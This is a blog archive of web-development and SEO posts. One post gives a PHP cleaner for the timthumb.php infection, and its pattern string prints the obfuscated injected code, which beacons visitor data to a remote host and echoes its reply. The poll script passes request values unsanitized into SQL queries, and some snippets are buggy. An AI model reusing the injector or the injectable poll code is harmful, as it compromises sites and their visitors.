Nevyan's kingdom

Load Facebook like, Google+ social buttons on mouse over

2011-11-26T00:19:00.001-08:00

This technique will speed up your web page loading times. The action performed is simple: do not load or render resources (i.e. external javascript files) until the user places the mouse over them. But do mimic their appearance via simple images. When the user hovers the social media buttons the temporary images get hidden and replaced by their relevant counterparts(i.e. scripts from Google, Facebook, LinkedIn etc.).

Here is more info on the subject: http://www.rustybrick.com/javascript-hover-effects-to-speed-up-page-load-time.html

You can test the hover loading and the simple working JavaScript code is placed below:

$('.sharebox').mouseenter(function () {
    if (load_count() == 1) {
        $(".tmp_img").remove();

        $.getScript("https://apis.google.com/js/plusone.js");
        $.getScript("//connect.facebook.net/bg_BG/all.js#xfbml=1", function () {
            FB.init({
                status: true,
                cookie: true,
                xfbml: true
            });
        }); 

    }
});

function load_count() {
    return 
    load_count.count = ++load_count.count || 1
}

For avoiding pre-loading everytime the .js libraries, I'm using a static variable as a counter.

P.S. These are just sample images. Please use/create placeholder images of your taste.
Cheers!

Timthumb.php exploit cleaner

2011-10-14T09:45:00.000-07:00

Alright, after having 1 rough day cleaning about 300+ leftovers of the newest version of timthumb.php malware here is some working .php code(the actual exploit cleaner).You can use it to check your whole web server for the vulnerability and clean the things up:

Usage: just save and run the file from the root directory of your domain.

<?
$path[] = '../*';
while(count($path) != 0)
{
    $v = array_shift($path);
    foreach(glob($v) as $item)
    {
        if (is_dir($item))
        $path[] = $item . '/*';
        elseif (is_file($item))
        {
            if (preg_match('/index.php/is', $item)) {
                echo "processing $item - last modified at: " . date ("F d Y H:i:s.", filemtime($item));
                disinfect($item);
                echo "<br /> ";
            }
        }
    }
}
function restore_hsc($val){
    $val = str_replace('&amp;', '&', $val);
    $val = str_replace('&ouml;', '?', $val);
    $val = str_replace('&auml;', '?', $val);
    $val = str_replace('&uuml;', '?', $val);
    $val = str_replace('&lt;', '<', $val);
    $val = str_replace('&gt;', '>', $val);
    $val = str_replace('&quot;', '"', $val);
    return $val;
}
function disinfect($filename) {
    $pattern='<?php $_F=__FILE__;$_X=\'Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+\';eval(base64_decode(\'JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==\'));$ua = urlencode(strtolower($_SERVER[\'HTTP_USER_AGENT\']));$ip = $_SERVER[\'REMOTE_ADDR\'];$host = $_SERVER[\'HTTP_HOST\'];$uri = urlencode($_SERVER[\'REQUEST_URI\']);$ref = urlencode($_SERVER[\'HTTP_REFERER\']);$url = $url.\'?ip=\'.$ip.\'&host=\'.$host.\'&uri=\'.$uri.\'&ua=\'.$ua.\'&ref=\'.$ref; $tmp = file_get_contents($url); echo $tmp; ?>';
    $pattern=trim(htmlspecialchars($pattern)); //prepare pattern
    $lines = file($filename);
    $found=0;
    for ($i=0; $i<sizeof($lines); $i++) {
        $current_line=trim(htmlspecialchars($lines[$i]));
        if(strstr($current_line, $pattern)) {
            $lines[$i]=str_replace($pattern, "", htmlspecialchars(trim($lines[$i])));
            $lines[$i]= preg_replace('/\s\s+/', ' ', $lines[$i]);
            $lines[$i]=restore_hsc($lines[$i]);
            $found++;
        }
    }
    $lines = array_values($lines);
    if ($found >0) {
        $file = fopen($filename, "w");
        fwrite($file, implode("\n",$lines));
        fclose($file);
        echo " <span style=\"color:red;\" is infected. Cured: $found injected objects</span> <br />";
    }
    else {echo "clean <br /> ";}
}
?>

P.S. don't forget to share if the script has helped you:)

JQuery star rating script

2011-10-02T01:26:00.000-07:00

Hello,after several months of development here is a new version of the star rating script, now supporting multiple ratings (for products, images etc..) .It has been rewritten from scratch, now based on the jquery javascript library.
You can give it a try here: DEMO

Usage:
1. Just have a blank <div> tag with an id of the product that you want: like for example: <div id="123"></div>
and the script will automatically build star rating for your product based on the provided id.
2. Initialize the script for ids that you only want to have rating:

stars.init("123","7","9","6ghgh");

3. Enjoy!

Sample setup:

<script src="jquery.min.js"><script>
<script src="/star_rating/star_rating.js"><script>

<div id="1">Vote now<div>

<div id="7">Here you go<div>

<div id="6ghgh">Your choice<div>

<div id="9">How are you?<div>

<script>$(function() 
{
stars.init("1","7","9","6ghgh");
}
);
<script>

Pro's:
- limited database requests - saving precious db server usage!
- responsive script using tiny JSON notation packets
- fastest star generation & navigation using CSS only styles

How to speed up a website

2011-09-24T01:45:00.000-07:00

According to Google the speed metric officially affects SERPS so the longer your page loading time is the lower its position in the index will be. Here are some techniques addressing this issue that will help you to optimize your website further.

1. Lazy load all of your external javascripts i.e. load them after body onload event is being fired.This way the user will first see the whole webpage rendered only later for the advanced functionality provided by the JavaScript to be added.

If you've been using jquery to accomplish lazy loading you must know that there's a difference between $(window).load() and $(document).ready() events.

$(Document).ready() state gets achieved right after the DOM is ready to be manipulated, whereas $(Window).load() is different kind of event - it will fire only after all the images/iframes are loaded.
So window.load() becomes the crucial place for loading your external .js files.

In the following example right after the completion of window.onload load 2 external javascript files that depend on each other and use the provided new functionality only when the second one loads successfully:

$(window).load(function () {  /* catch window.onload and load the following scripts after... */

$.getScript('http://example.com/script1.js', function () {
$.getScript('http://example.com/script2.js', function () {


//now run some functions


}); //end of 2nd getscript
}); //end of 1st getscript


}); //end of $(window).load

Optionally you can use setTimeout to delay execution of some scripts here is an example of loading google plus button:

setTimeout(function () {
$.getScript('http://apis.google.com/js/plusone.js');
},500);

2. Minimize blockages such as loading of multiple resources downloads at once like images mixed with youtube videos, etc. which will block the whole webpage rendering.
How? - There's a wonderful plugin called image lazy load, but it won't work correctly on every other browser(some images will be loaded even though we are preventing them) so here is an alternative:
You'll just have to rename all your image attributes from src to orig.

<img src="1x1_img.png" orig="your_image.jpg" />

Then use the following .js code that swaps all the src with orig attributes thus loading you images whenever you want (probably after $windows.load() ).

$("img").each(function () {
$(this).attr("src", $(this).attr("orig"));
});

or just go and fine-tune the lazy loader

3. Watch the changes on your new google analytics page-speed tab!Cheers!

Google Panda / Farmer update notes

2011-04-30T22:52:00.001-07:00

Hello, as you may know there is an ongoing Google algorithmic update, called panda / farmer update, aimed at filtering out thin / made for Adsense / copied content from its search index.

This way such websites will be pushed down in SERPS, to be replaced by author content websites useful to the visitors.

The actual filter is an automatic semantic algorithm triggered by various factors in order to classify a content as useful or not. The triggering factors remain secret but, as you may already know, if you serve mixed: quality and bad content, your quality content positions will be impaired.

Apart from that other affecting factors are:
- google chrome browser addon, which allows blocking of non-quality sites from the surfer.
- new blocking site options provided by google search.
- social sharing: but not the actual number of likes, but the links that your website gets as a result of facebook like/ retweet.

Here is sample scheme from the affected websites and their traffic impact - somewhere between 70-90%.(note that the company providing the results is measuring particular set of words, and not the whole long tail traffic of the mentioned websites)

Google employees said that as a lack of satisfaction they count, when a user clicks the back button right when he/she's visited some page returning to search results in order to find another website. So here are some thinks that you can do in order to prepare your website for this update:

1. Calculate the thin or not-quality content and use the noindex meta tag. Example your 2nd level category pages containing only links and no actual content. Delete all the copied content, return header status 404 not-found and place a line in robots.txt.

2. Reduce the number of adsense ads/additional page elements which are appearing before your actual content.(above fold), or make sure that they're flowing the content:

Site layouts that highlight content		Site layout that pushes content below the fold

3. Use google analytics to find webpages, with lowest time on page, and use 1) to restrict them.

4. By default use meta noindex to all new pages until, they gain/have some quality content.

5. Don't use white text on black background.

6. Ensure maximum user time on page.

Improving Adsense eCPM / RPM

2011-03-03T01:14:00.000-08:00

Hello, in this post I'll show you some methods that I'm using in order to produce an increase in adsense earnings by improving the eCPM ( RPM ) parameter. By definition RPM is ' the amount of revenue you can expect to earn from AdSense for every 1000 impressions shown on your site ' which is something totally different from how much 1000 impressions on your site actually cost!

And as you can see from this video:

in order to have high eCPM you'll have to ensure unique visitors are clicking on your ads.

But first lets see how to recognize some of the actions that "repeated" users (or our direct traffic hits) perform. They usually:
- type the URL in the browser / open a new tab or access the url from bookmarks.
- come from links found in email / newsletter, Word or PDF files.
- come from redirects (301 header redirect, javascript or meta refresh tags)

As you may've seen in the video above there's an inverse connection between your eCPM value and the traffic you have. In other words: receiving more mixed(not unique) traffic in effect will only lower your eCPM.
And here is a sample screenshot from google analytics confirming that about 95% of one site's earings came exactly from search traffic:

search vs direct traffic revenue

Filtering direct hits
So as you can see our first priority becomes not the obvious one to get more traffic in order to display more ads, but to display relevant ads to our organic public segment only ( i.e. users comming from search engine queries) . This way we'll be displaying less ads, but the eventual incomming clicks are going be much more valuable.

Here is simple php script that will filter out most of the direct hits and display advertisement only to users comming from google:
Assuming that your adsense code is placed in the variable $ads;

<?if (strstr($_SERVER['HTTP_REFERER'], "google")) { echo $ads; }

?>

or the more generic one: displaying ads on the referral only traffic by filtering out hits generated from your own domain:

<?

$referer = parse_url($_SERVER['HTTP_REFERER']);

$my_domain = parse_url($_SERVER['HTTP_HOST']);

if (!strstr($referer['host'], $my_domain['host'])) {echo $ads; }

?>

Increasing bounce rate
I know that this may sound very frustrating like everyone out there is suggesting just the opposite, but after watching the video you may start thinking about it.

That's it, don't forget to write unique content and I hope this post helps you actually increase your earnings!

Advanced spyware removal

2011-02-03T03:23:00.000-08:00

Hello, this time I'll show you how to clean up your computer from spyware, in cases where your antivirus application is not capable of detecting the whole virus signature, or just detects & removes the virus, while in the next scan the virus re-appears infecting even large number of files.

To do this work properly we'll use 3 free applications: Process Explorer, Autoruns and CCleaner.
Here are the detailed steps of the whole cleaning procedure:

1. Restart the computer and enter in SAFE MODE.

2. Start Process Explorer and you'll notice that already started applications(processes), loaded up in the memory at the current time.
Those flashing for a moment and painted with purple are the new / suspicious ones. Point your attention at them particularly.

3. But how to know which ones are suspicious?
Look for:

- those using random names
- not having an icon
- without having a description
- carefully check the child processes ( by pressing the + sign) of the following two processes: rundll32.exe and svchost.exe.
(Here is how to do this: open View and check: 1. Show lower pane, 2. Lower pane
view->dlls). Check out each and every one of their child process, by clicking on the process, while paying attention to the lower left portion of the screen( look out for purple rows)

4. When you found some suspicious ones, enter command prompt from Start->Run->Cmd, and go to the directory containing the suspicious file( usually /system32 ,
/system or /temp and run the following command: calcs file_name.dll /p
everyone:N

This way you'll disable the file from running and re-infecting the system.

5. Next, kill each of the suspicious processes via Kill Process command.
Important: please repeat the above procedure until no new purple processes re-appear (meaning that the virus autoloads itself ). Then find the process explorer.exe and stop it with Kill Process Tree.

(don't worry when your taskbar disappears.)

6. Start the AutoRuns:

From Options check: Hide Microsoft and Windows entries, Verify Code Signatures and press F5.
Take a look at the processes appearing as Not Verified - and uncheck the suspicious ones.

7. Start the CCleaner application and click on the Run Cleaner button:

8. Do a final check the processes in Process Explorer - are there a newly started ones? - if so repeat the procedure including: calcs, kill process and refresh Autoruns (F5) to check again for new start up values.

9. Restart the computer directly by using the RESET key - don't worry, if this appears as slightly inappropriate - it's important step for the virus not be able to hook to Windows' Start->Shut down process.

Cheers!

Fixing facebook like button error

2011-01-14T10:55:00.000-08:00

Here is the story: Assuming that you want to have like button for your website in order to promote its pages. Meanwhile you do know that your website encoding is not UTF-8. You go straight to facebook.com to get and install the proper javascript or iframe code.
So far so good, the button is ready and shows up on your pages. But when you click on it gives out the nasty error stating:
The page http://www.your_website.com/your-web-page.html cannot be reached:

After hours of struggling with this problem you are determined either to remove the button or to fix it somehow.

Here is my solution that works wonderfully with cyrillic URLS ( using windows-1251 encoding ) assuming that you use php place this piece of code at the beginning of your web page:

<?php
$page=urldecode($_SERVER['REQUEST_URI']); 
$page=iconv("UTF-8", "windows-1251", $page);

if(mb_detect_encoding($page, 'ASCII, UTF-8, ISO-8859-5')=="UTF-8")
{
Header("HTTP/1.1 301 Moved Permanently");
Header("Location: http://{$_SERVER["SERVER_NAME"]}$page"); 
exit;
}
?>

Explanation is simple: First we detect if the requested url comes from facebook or other UTF-8 encoded website. In such case we redirect(refresh) the whole webpage but this time properly encoded using our preferred windows-1251 encoding. After the redirect the url will be recognized by our system as a valid one. NB: the order of encodings passed to mb_detect_encoding.
If you've been using encoding different than windows-1251 then just replace it in the iconv function like so:

$page=iconv("UTF-8", "your_custom_encoding", $page);

Cheers!

Apple css only menu (navigation bar)

2010-12-23T05:11:00.000-08:00

I've seen lot of solutions to this menu over the Internet, and here is mine working under IE7+ as well as Firefox without using any images at all:
CSS:

.header_menu{
background-image:-moz-linear-gradient(100% 100% 90deg, #959595, #D0D0D0);
filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#D0D0D0', EndColorStr='#959595');
color:#333333;
font-family:"Myriad Pro Light";
font-size:1.1em;
height:41px;
text-shadow:0 1px 0 #DFDFDF;
-moz-border-radius:5px;
border-radius: 5px;
}

ul.header_menu{
list-style-type:none;
}

ul.header_menu li{
display:block;
float:left;
padding-right:1em;
padding-left:1em;
font-weight:bold;
height:31px;
padding-top:0.7em;
border-right:1px #797979 solid;
cursor:pointer; cursor:hand;
}

ul.header_menu li:hover{
background-image:-moz-linear-gradient(100% 100% 90deg, #535353, #919191);
filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0, StartColorStr='#919191', EndColorStr='#535353');
color:#ffffff;
text-shadow:none;
}

HTML code:

<ul class="header_menu">
<li>» 1.Register</li>
<li>2 Login</li>
<li>3.Make money!</li>
</ul>

End result:

Cheers!

Testing registry programs

2010-12-18T08:15:00.000-08:00

5 of the most popular reg tools were tested:
the free ones:
CCleaner
Eusing Free Registry Cleaner
Glary Utilities

and those requiring purchase:
JV Power Tools
AVG PC Tuneup
(Iolo System Mechanic - hang up upon start)

Results:
From the free ones one of the best performance and detection results show Glary utilities.
As a whole, most problems were detected and fixed from AVG PC Tuneup. The program works very fast and gives quick and clear advices on computer's security (System Advisor).
For example with just one click you can choose to optimize windows services for gamer, office or home computer usage: from Advanced Tools->System Tweeks->Optimize Services.
Both the above programs have the feature of undoing the changes that they've made in your registry database.

JV Power Tools, as well as Eusing did find additional registry values needing a fix.

Hope the information is useful to you. Cheers!

9 hidden secrets of the SEO companies

2010-10-20T01:43:00.000-07:00

Here is a short analysis of tactics used by some of the web design firms
(or how not to do things)

1. On the home page you will find text, stacked with scattered and repeated bold words "web design". The purpose of such repetition is to increase the density(or importance) of the latter keywords in front of the search engines.

2. Blog translations are incomplete and often show untranslated phrases.

3. Have a blog in which the article titles are: 'effective web design, web design price, web design trends' - again to increase search engine positions for the words of a particular interest.

4. Use pictures of foreign persons or flash videos to inspire confidence and professionalism - totally inconsistent with the reality.

5. Offer SEO or the so called 'search engine optimization', with the promise of a top SERPS, while actually supplying customers with paid links, to rise them temporarily in positions. At the end of the contract those links are being removed and the business again declines in rankings.

6. On the site one can find many links containing phrases such as: design a website for furniture, design a site for a law firm, website design for real estate, etc., just to intercept a larger audience from a particular search.

7. Meta tags (View-> Source), and images title attributes are overloaded with keywords or invalid attributes such as: meta page-topic, etc.

8. Use 4,5 or more .css and .js files in order to impress the clients with effects, while in fact just boring them with the extra loading time.

9. Pages of a site - entirely based on a flash technology and without further optimization processing are not being indexed by search engines.

SEO penalty checklist: Iframes

2010-07-19T23:08:00.000-07:00

Don't believe that it exists?

Here is how I found it:
On one website(~500pages) with over of 300 pages indexed in Google, I've used an Iframe linking to other sub-domain in order to display a relevant content.
When I removed the iframe almost immediately, in less than 24 hours my indexed results came up from 300 to 360.

But why?
I started searching on the forums and it appeared that Google penalty filter was triggered by such a huge usage of iframes(mistakenly taken as poisoing attack).
Here is short text from Matt Cutts on this:

"Essentially, our search algorithm saw a large area on the blog that was due to an IFRAME included from another site and that looked spammy to our automatic classifier."
link: http://groups.google.com/group/Google_Webmaster_Help-Indexing/browse_thread/thread/68692a9aefae425f

Solution:
Remove all the iframes that you have and replpace them with ajax calls or just static HTML content.
Wait a few days and run: site:http://yourwebsite.com to see the difference in the results!

Good luck!

Ethical SEO

2010-05-31T02:44:00.000-07:00

SEO site tools is a Google Chome plugin that has helped me alot with the optimization of my websites. I'll show you how you can use it with a few basic steps:
1. Load the plugin into Google's browser: https://chrome.google.com/extensions/detail/diahigjngdnkdgajdbpjdeomopbpkjjc
2. Run your web page of interest.
3. Click on the right top corner icon. Then go to page elements. Here you'll find out more about your internal site structure.

My websites (full with unique content and constantly expanding), had a problem - their content gradually went out of google's index or have been just partially indexed(ie. 50 out of 500 results). After lots of experimenting and reading here are my guidelines for optimizing pages or how easily to get more of your content indexed:

1. Look especially at the headings like: H1, H2, and make sure that they are unique and not repeating.

2. Ensure unique meta description wherever you can on your website, even on the pagination results: If you have article with lots of comments - on the 2nd onward comments page remove the original article text and leave just the comments. This way you'll create a brand new unique content page, just like in the forums.

3. Put special attention to em(italic) and bold tags - they add weight to the web page and if repeated throught the pages, they could trigger google's penalty filter.

4. Remove repeated occurences such as: Reply to this comment, Vote, etc... - replace such text with unobtrusive javascript.

5. Improve loading time: inspect page loading time with Yahoo's YSLOW and make according improvements: make cache version of your pages, remove inefficient javascript requests(like Facebook - replace it with facebook iframe widget, use the new asynchronous Google analytics, gzip your css and javascript files, beware of wordpress wp-cron.php file - it hogs the system CPU resources down and might get you banned from your hosting provider: just rename it or find where's used and disable all calls(includes) to this file, etc...).

6. If you use Blogger's hosting use this sitemap tool and then go and submit the sitemap in Google's Webmaster tools. Benefits are that you'll submit your whole blog postings which might be much more than the default 26 updated urls.

7. Write somewhere the date you've made those changes and check your statistics the next week to determine whether they are beneficial or not.

Cheers.

Removing spyware

2009-12-14T04:51:00.000-08:00

As a normal thing in the computer industry, this year viruses, spyware and trojans didn't fail to surprise us with their new infection methods.
We've seen ones infecting important system files in such way that when tried to cure the files they got deleted by the antivirus software. As a result the whole system failed to boot and we had to reinstall the Windows from the ground up.
The new variants were able to penetrate even through Safe mode - they loaded themselves as system drivers thus being unstoppable by the usual antivirus program shields.
And let's not forget the upgraded self modifying code: we've got a case of 1 virus detected by the AV software pretending to be of at least 100 other virus variants by constantly modifying its code.
Also lots of viruses were tracking their own files/memory loaded processes and when modified/deleted by the antivirus application, the whole system got restarted.
More and more spyware didn't touched the HOSTS file in order to redirect you to their own web pages, or slow your surfing, but directly modified the Windows core libraries(DLL-s) and Internet Transfer Protocols this way successfully blocking the antivirus update process, as well as the access the latter respectful websites.

In case that you might be infected but still unwilling to install Linux here are some practical advices that you can follow in order to remove the newest virus variants from your computer:

1. Safe mode booting is essential. Few antispyware products could successfully clean up infected process or file in normal mode. The ones that are free and worth mentioning are SpywareTerminator and Microsoft Security Essentials. In case of a stubborn one you might load up Live CD and then run your antivirus software.

2. If the virus is preventing you from updating your antivirus application, then just use a proxy server or find a mirror offering the latest program's definitions.

3. Perform scan using various applications: here is a list of the really good and free ones: DrWeb Cureit, a-squared free, malwarebytes anti malware, superantispyware. They have different scanning times as well as virus databases, but are proven effective in case of a strongly infected computer. And if you wish to have protection from a non-free software I would suggest you the fast one from DrWeb or Kaspersky Antivirus(if your machine is a fast one).

4. Exchange Avast, Norton, NOD32 and so on with AVG, Avira Antiviral Toolkit Pro or Spyware Terminator. The previous excellent Spybot Search and Destroy and AdAware are now useless when faced with the new trojan variants.

5. Ensure that you've got constantly running access shield and be careful what you're allowing to run - here I could again recommend Spyware Terminator.

SEO penalty checklist: keyword density, canonical urls

2009-12-03T03:43:00.000-08:00

The above is a sample screen shot taken from Google's Webmaster Tools Keywords function. But why should one need such thing when you can right click your Firefox screen and use its integrated Show keyword density function?
Well, one benefit is that this function shows the specific keyword significance across your pages. Let me show you what do this means:
Suppose that you are optimizing a content for the keyword 'cars'. It's a normal practice to repeat 'cars' 2-3 times, style it in bold etc... Everything's good as long as you do it naturally. The moment you over stuff your page it'll get penalized and loose its current ranking in Google SERPS. So you have to be careful with the repetitions. Next, you can see the overall website keyword significance. And because Google likes thematic websites it is really important for these keywords to reflect your website purpose or theme. Otherwise you're just targeting the wrong visitors and shouldn't be puzzled from the high abandonment rate.

But enough with the theory now let's discuss how you can fix the things right up:

1. Check every individual webpage keyword density online via Webconfs and correct(reduce) those words that are being used over 2%. Again this % depends on your local keyword concurrency. So tolerable levels can vary up and down.

2. Add the 'canonical' tag to all your website pages:

< link rel="canonical" href="http://www.example.com/your_preferred_webpage_url.html" />

(and make sure to specify the url that you really prefer!). This will reveal to the search engine what your legitimate webpage is. More info: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html

Blogger users please add the following code at the head section in your Template:

<b:if cond='data:blog.pageType == "item"'>
<link expr:href='data:blog.url' rel='canonical'/>
</b:if>

(this will remove the parameters appended at the end of the URL such as http://nevyan.blogspot.com/2009/12/test.html?showComment=1242753180000
and specify the original authority page: http://nevyan.blogspot.com/2009/12/test.html )

meta noindex,follow
Next to prevent duplicate references of your archive( i.e .../2009_01_01_archive.html) and label pages( i.e. /search/label/...) from getting indexed just add:

<b:if cond='data:blog.pageType == "archive"'>
<meta content='noindex,follow' name='robots'/>
</b:if>
<b:if cond='data:blog.pageType == "index"'>
<b:if cond='data:blog.url != data:blog.homepageUrl'>
<meta content='noindex,follow' name='robots'/>
</b:if>
</b:if>

3. Have fun. For more information on the subject you can read: Deoptimising - a new way of SEO

Open links in new window javascript

2009-11-27T23:48:00.000-08:00

This script automatically goes through all your links and inserts target=_blank;
Just copy and paste the following code to your page.
In order to work add id="bd" to your body element like:

< body id="bd" >

<script type="text/javascript">
this.addEvent = function(obj,type,fn){
if(obj.attachEvent){
obj['e'+type+fn] = fn;
obj[type+fn] = function(){obj['e'+type+fn](window.event);}
obj.attachEvent('on'+type, obj[type+fn]);
} else { obj.addEventListener(type,fn,false); };
};

addEvent(window,"load",prepareLinks);

function prepareLinks(){
if(document.getElementById && document.getElementsByTagName){
if(document.getElementById('bd')){
var content= document.getElementById('bd');
var links = content.getElementsByTagName('a');
for( var i=0; i < links.length; i++ ){ links[i].target = "_blank"; links[i].className = "external"; }
}
}
}

</script>

Photoshop for web design - video tutorial

2009-11-21T09:25:00.000-08:00

Here is a video on how to create simple webpage with photoshop.

In this tutorial we look at:

* how to make simple button
* using the slice tool to create whole webpage

* how to edit and add simple HTML source code

Ajax poll system

2009-11-19T22:06:00.000-08:00

Update
Here is the new version of AJAX poll script.

Here you can download the new and updated version of the script. Now tracking all of your web pages automatically. You just have to include it to the desired page.
DEMO

ADMIN

With this package you can:
* Create new polls with unlimited number of fields
* Display multiple polls on a same page
* Vote easily without going out to another page

Installation < 3min - you just have to include 2 lines of code to a desired page.

1. Create table 'polls' in your database

CREATE TABLE IF NOT EXISTS `polls` (
  `id` int(4) NOT NULL auto_increment,
  `title` varchar(50) NOT NULL,
  `labels` varchar(250) NOT NULL,
  `votes` varchar(30) NOT NULL,
  `used_ips` longtext NOT NULL,
  PRIMARY KEY  (`id`)
) ;

2. Set up your server information by editing 'dbinfo.php'

<?php
$dbhost = 'localhost';
$dbuser = 'your_database_username';
$dbpass = 'your_database_password';
$dbname = 'your_database_name';
$tableName="polls";
?>

3. Run 'create_poll.php' in order to create a new poll

Here is how to display the poll:

<?php
$poll_id=1;
include("display_poll.php");
?>

display_poll.php

<?php
include_once("dbinfo.php");
$id=$poll_id;
if (empty($id)) { $id=$_REQUEST['poll_id'];}

$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql'); mysql_select_db($dbname);

//header('Content-type: text/html; charset=windows-1251');


$sql = "select * from polls where id='$id'"; $query = mysql_query($sql) or die(" Error: ".mysql_error()); 
$number_rows=mysql_num_rows($query);
$info=mysql_fetch_assoc($query);


$labels = explode("|", $info['labels']); $num_labels=count($labels);
$votes_array = explode("|", $info['votes']);
$num_votes=count($votes_array);
$total=array_sum($votes_array);


$sql = "SELECT * FROM polls WHERE used_ips LIKE '%".$_SERVER['REMOTE_ADDR']."%' AND id='$id' "; 
$query = mysql_query($sql) or die(" Error: ".mysql_error()); 
$voted=mysql_num_rows($query);
$info1=mysql_fetch_assoc($query);


//if not voted
if(!$voted){
?>

<script type="text/javascript">
var http_request = false;

function alertContents(response,ret_el) {
  document.getElementById(ret_el).innerHTML = response;
   }

function makePOSTRequest(url, parameters, ret_el, callback_function) { 
if (typeof callback_function == 'undefined' ) callback_function = alertContents;
var http_request = false;
var activex_ids = ['MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP','Microsoft.XMLHTTP' ];

if (window.XMLHttpRequest) { // Mozilla, Safari, IE7+...
    http_request = new XMLHttpRequest();
    if (http_request.overrideMimeType) { http_request.overrideMimeType('text/xml');  }
  } else if (window.ActiveXObject) { // IE6 and older
    for (i = 0; i < activex_ids.length; i++) {
      try {  http_request = new ActiveXObject(activex_ids[i]); } catch (e) {}
    }
  }

if (!http_request) {  alert('Please update your browser!');  return false; }

document.getElementById(ret_el).innerHTML = "Please wait...";
document.getElementsByTagName("body").item(0).style.cursor="wait";

http_request.onreadystatechange = function() {

   if (http_request.readyState !== 4) {  return;  }
   if (http_request.status !== 200) { alert('Please try again later.');    return;   }
   
document.getElementsByTagName("body").item(0).style.cursor="auto"; 
var response = http_request.responseText;
//setTimeout(function(){ callback_function(response,ret_el)},1000);
callback_function(response,ret_el);
return; 

}; 

      http_request.open('POST', url, true);
      http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      http_request.setRequestHeader("Charset", "windows-1251");
      http_request.setRequestHeader("Content-length", parameters.length);
      http_request.setRequestHeader("Connection", "close");
      http_request.send(parameters);
   }


function getVote(int,id)
{ 
makePOSTRequest('display_poll.php', 'vote=' +int+'&poll_id='+id, 'poll'); }
</script>


<?

if (!isset($_POST['vote'])){

echo "<div id=\"poll\">
<span class=\"open\">".$info['title']."</span>
<form method=\"post\"><fieldset>";
for ($i = 0; $i <= $num_labels-1; $i++) { echo "<input type=\"radio\" name=\"vote\" value=\"$i\" id=\"vote$i\" onclick=\"getVote(this.value,$id)\" /><label for=\"vote$i\">".$labels[$i]."</label><br />";}
echo "</fieldset></form></div>";
      }

else {  

if (is_numeric($_POST['poll_id']) and is_numeric($_POST['vote']) ) 
{

$id = $_POST['poll_id'];

$checkIP=unserialize($info1[used_ips]);
if(is_array($checkIP)){array_push($checkIP,$_SERVER['REMOTE_ADDR']);}else{ $checkIP=array($_SERVER['REMOTE_ADDR']);}
$ip=serialize($checkIP);

$vote = $_POST['vote'];
$votes_array[$vote]+=1;
$total=array_sum($votes_array);
$votes = implode("|", $votes_array);

$sql = "UPDATE polls SET votes='$votes', used_ips='$ip' WHERE id='$id'"; $query = mysql_query($sql) or die(" Error: ".mysql_error()); 


 echo "<span class=\"open\">Results:</span><br />Voted:$total<br /><table>";
 for ($i = 0; $i <= $num_labels-1; $i++) {
 $percent=100*round(@($votes_array[$i]/$total),2);
 echo "<tr><td>".$labels[$i]."</td><td align=\"left\"><img style=\"float:left;\" src=\"poll.gif\" width=\"$percent\" height=\"20\"> $percent%</td></tr>";
           }
 echo "</table>";
 }

}

}

else {
echo "<table><tr><td colspan=\"2\"><strong>".$info['title']."</strong></td></tr><tr><td colspan=\"2\">Voted:$total</td></tr> <tr><td colspan=\"2\">Results:</td></tr>";
 for ($i = 0; $i <= $num_labels-1; $i++) {
 $percent=100*round(@($votes_array[$i]/$total),2);
 echo "<tr><td>".$labels[$i]."</td><td align=\"left\"><img style=\"float:left;\" src=\"poll.gif\" width=\"$percent\" height=\"20\"> $percent%</td></tr>";
           }
 echo "</table>";

 }
?>

create_poll.php

<?php
include_once("dbinfo.php");

$conn = mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql'); mysql_select_db($dbname);

if (!empty($_POST["method"])){
$poll_question=$_POST[poll_question];

foreach($_POST as $name => $value) {

if (preg_match("/option/i", $name) and !(empty($value)) ) { $options[].=$value; }
}
if (!empty($options)) {$options=implode("|",$options);}  else {echo "Please go back and enter some options for the poll!"; exit;}


$poll_question=mysql_real_escape_string($poll_question);
$options=mysql_real_escape_string($options);

$sql = "INSERT INTO polls (title, labels) VALUES ('$poll_question', '$options')"; $result = mysql_query($sql) or die("err");

if ($result==1) {
echo "Congratulations! Your poll has been created!";
echo "In order to use it just paste the following code to your website:";
$inserted_id=mysql_insert_id();
echo "<span style=\"color:red;\"> <? php \$poll_id=$inserted_id; include(\"display_poll.php\") ?></span>";


}

} else {
?>


<h1>Create new poll</h1>
<form id="myform" name="myform" method="post">

<label for="poll_question">Poll question:</label><input type="text" size="20" id="poll_question" name="poll_question"/> <br /><br />
<ul id="options">
<li><label for="poll_option1">Option1:</label><input type="text" size="20" id="poll_option1" name="poll_option1"/><input type="button" value="Add new option" id="add_option" name="add_option"/></li>
<li><label for="poll_option2">Option2:</label><input type="text" size="20" id="poll_option2" name="poll_option2"/></li>
<li><label for="poll_option3">Option3:</label><input type="text" size="20" id="poll_option3" name="poll_option3"/></li>
<li><label for="poll_option4">Option4:</label><input type="text" size="20" id="poll_option4" name="poll_option4"/></li>
<li><label for="poll_option5">Option5:</label><input type="text" size="20" id="poll_option5" name="poll_option5"/></li>
</ul>
<input type="hidden" name="method" value="post" />
<input type="submit" value="Create!" id="create_poll" name="create_poll"/><br /><br />

</form>


<script type="text/javascript">
function add_new_option()
{
var form = document.getElementById("options");
var new_number = form.childElementCount+1;
var new_id="poll_option"+new_number;

var poll_label = document.createElement("label");
poll_label.htmlFor=new_id;
var p_label_text="Option"+new_number+":";
poll_label.appendChild(document.createTextNode(p_label_text));

var new_option = document.createElement("input");
new_option.type = "text"; new_option.id = new_id; new_option.name = new_id;

var html_li = document.createElement("li");
html_li.appendChild(poll_label);
html_li.appendChild(new_option);
form.appendChild(html_li);
}


if (document.getElementById) { window.onload = myUnobtrusiveBehavior; }

function myUnobtrusiveBehavior() {
document.getElementById("add_option").onclick=function() {add_new_option();}
}
</script>

<?php
